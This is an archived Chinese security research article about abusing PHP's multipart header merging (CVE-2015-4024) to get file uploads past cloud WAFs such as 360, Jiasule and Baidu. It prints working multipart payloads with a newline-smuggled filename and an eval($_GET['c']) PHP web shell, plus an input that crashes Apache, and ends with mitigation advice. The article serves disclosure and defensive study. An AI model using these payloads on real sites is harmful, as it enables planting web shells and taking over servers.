# PHP DOS漏洞的新利用：CVE-2015-4024 Reviewed

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-01-08T02:03:00Z
Canonical: https://wepostx.com/topics/1289

> 乌云历史资料归档
>
> **原始作者：** 破见式
> **原始编号：** superkieran-wooyundrops:989
> **原始发布时间：** 2016-01-08 10:03
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 背景介绍

今天我们想从2015.04.03的一个PHP远程dos漏洞（CVE-2015-4024）说起。技术细节见如下链接，中文版：[http://drops.wooyun.org/papers/6077](http://drops.wooyun.org/papers/6077)，英文版 ：[https://bugs.php.net/bug.php?id=69364](https://bugs.php.net/bug.php?id=69364)。因为php解析body part的header时进行字符串拼接，而拼接过程重复拷贝字符导致DOS。事实上该漏洞还有其他非dos的利用价值，其中之一，就是绕过当前各种云WAF的文件上传防御策略。
目前国内外流行的云WAF厂商有如百度云加速，360网站卫士，加速乐，云盾等。因为PHP远程dos漏洞及PHP官方修复方案的特点，我们成功利用该漏洞绕过了当前主流WAF的文件上传防御，例如百度云加速、360网站卫士、知道创于加速乐、安全狗。
接下来，我们以PHP为例，详细解析我们的绕过方法。

# 0x01 绕过WAF的原理

根据PHP DOS漏洞原理，在multipart_buffer_headers函数解析header对应value时，value值存在n行。每行的字符串以空白符开头或不存字符':'，都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块，从而导致DOS。

```text
#!php prev_len= strlen(prev_entry.value); cur_len= strlen(line); entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存 memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝 memcpy(entry.value+ prev_len, line, cur_len); //1次拷贝 entry.value[cur_len+ prev_len] = '\0'; entry.key= estrdup(prev_entry.key); zend_llist_remove_tail(header);//1次内存释放
```
而PHP官方修复方案，在进行合并时，避免重复拷贝，从而避免DOS。绕过WAF的关键在于，PHP multipart_buffer_headers函数解析header对应value时，value值存在多行。每行的字符串以空白符开头或不存字符':'，将进行合并。而WAF在解析文件上传的文件名时，没有考虑协议兼容，不进行多行合并，就可以被绕过。
根据原理构造绕过WAF文件上传防御的payload，WAF解析到的文件名为”test3.jpg”，而PHP解析到的文件名是“test3.jpg\nf/shell.php”，因为”/”是目录分隔符，上传的文件名变为shell.php。以下是绕过paylaod、测试脚本、paylaod进行文件上传的效果图。
WAF绕过payload:

```text
#!php ------WebKitFormBoundaryx7V4AhipWn8ig52y Content-Disposition: form-data; name="file"; filename="test3.jpg\nsf/shell.php Content-Type: application/octet-stream <?php eval($_GET['c'])?> ------WebKitFormBoundaryx7V4AhipWn8ig52y
```
文件上传功能测试脚：

```text
#!php <?php $name = $_FILES['file']['name']; echo $name; echo "\n"; move_uploaded_file($_FILES['file']['tmp_name'] , '/usr/local/nginx/html/upload/'.$_FILES['file']['name']); echo "upload success! ".$_FILES['file']['name']; echo "\n"; echo strlen($_FILES['file']['name']); ?>
```
Payload能够正常上传

![原文图片](/media/2016/06/6eefb5bda07747aac2c6d9a20027ac4d)

# 0x02 绕过WAF实战

笔者通过搭建自己的测试站，接入360网站卫士和加速乐，验证绕过WAF文件上传防御的方法。

### 2.1 绕过360网站卫士
步骤1，验证网站已被360网站卫士防御，拦截了直接上传PHP文件的请求。

![原文图片](/media/2016/06/85dae9471e498f9a8d7fc6bbbeaaea13)

步骤2：成功绕过360网站卫士，上传shell成功，文件是apo.php。在该请求中，有没有Content-Type不影响绕过。

![原文图片](/media/2016/06/1e6aebda6829dc290d3ef96581ff2901)

### 2.2 绕过知道创宇加速乐
步骤一：验证网站被加速乐保护，拦截了直接上传PHP文件的请求。

![原文图片](/media/2016/06/da413d95f301eb9e9ba872dbb555cd7f)

步骤二：
成功绕过加速乐，上传shell，文件是syt.php。

![原文图片](/media/2016/06/658c547d44eee75304733c1d90e197dd)

### 2.3 绕过百度云加速
百度云加速与CloudFlare，从百度匀加速拦截页面可以看出使用的是CloudFlare. 但是估计有本地化，百度云加速应该是百度和CloudFlare共同产物吧。测试百度没有搭建自己的测试环境，找了个接入了百度云加速的站进行测试。
步骤一：验证网站被百度云加速保护，拦截了直接上传PHP文件的请求。

![原文图片](/media/2016/06/9d3942a0b768156b57501c2932f2f63a)

步骤二：成功绕过云加速

![原文图片](/media/2016/06/a90029dbea8cd26a506e17e75f09c601)

### 2.4 安全狗的测试
用该方法测试安全狗的文件上传，

```text
#!bash Content-Disposition: form-data; name="file"; filename="2.php aa: Content-Type: image/jpeg
```
php与aa这间的是%0a，处理请求的Apache进程直接崩溃。感觉可以溢出，没有深入。

### 2.5 CloudFlare的测试
为了测试能否绕过国外版的CloudFlare，特意买了它的服务。结果，在规则全开的情况下，竞然不拦截文件上传。

![原文图片](/media/2016/06/ec54f7f9cc0e40942e1c0a0e61b19e98)

![原文图片](/media/2016/06/c1d9d2c206b9da60ca3b1da60b5e62d6)

### 2.6 Amazon WAF
亚马逊的WAF没有规则，所有规则需要用户配置。在配置的选项里，没有文件上传的选项，所以也就没有绕过的说法。国内WAF和国外WAF的区别挺大，为什么这么设计还是值得深思。

![原文图片](/media/2016/06/602a4cf68614695be97740bd76af70c3)

我们还绕过了其他WAF，这里不一一列举。

# 0x03 扩展—更多的工作

### 3.1 分析filename其他字符的绕过
同理，我们发现除了双引号外，使用单引号也能绕过WAF的防御，并实现文件上传。

```text
#!php ------WebKitFormBoundaryx7V4AhipWn8ig52y Content-Disposition: form-data; name="file"; filename='test3.jpg\nsf/shell.php Content-Type: application/octet-stream <?php eval($_GET['c'])?> ------WebKitFormBoundaryx7V4AhipWn8ig52y
```

### 3.2 分析其他应用脚本语言
我们也发现jsp解析也有自己的特点，同时可被用于绕过WAF。暂时未测试asp,aspx,python等常用的WEB应用脚本语言。

# 0x04 修复方案

### 4.1 修复方案一
解析文件上传请求时，如果发现请求不符合协议规范，则拒绝请求。可能会产生误拦截，需要评估误拦截的影响范围。

### 4.2 修复方案二
兼容php的文件解析方式，解析文件名时，以单引号或双引号开头，并且对应的单引号或双引号闭合。

# 0x05 总结

本文通过Review PHP远程dos漏洞(CVE-2015-4024)，并利用该特性绕过现有WAF的文件上传防御，成功上传shell。 更重要的价值，提供给我们一个绕过WAF的新思路，一种研究新方向：利用后端应用脚本与WAF行为的差异绕过WAF的防御。总的来说，一款优秀的WAF应该能够处理兼容WEB应用容器、标准协议、web服务器这间的差异。

## Replies
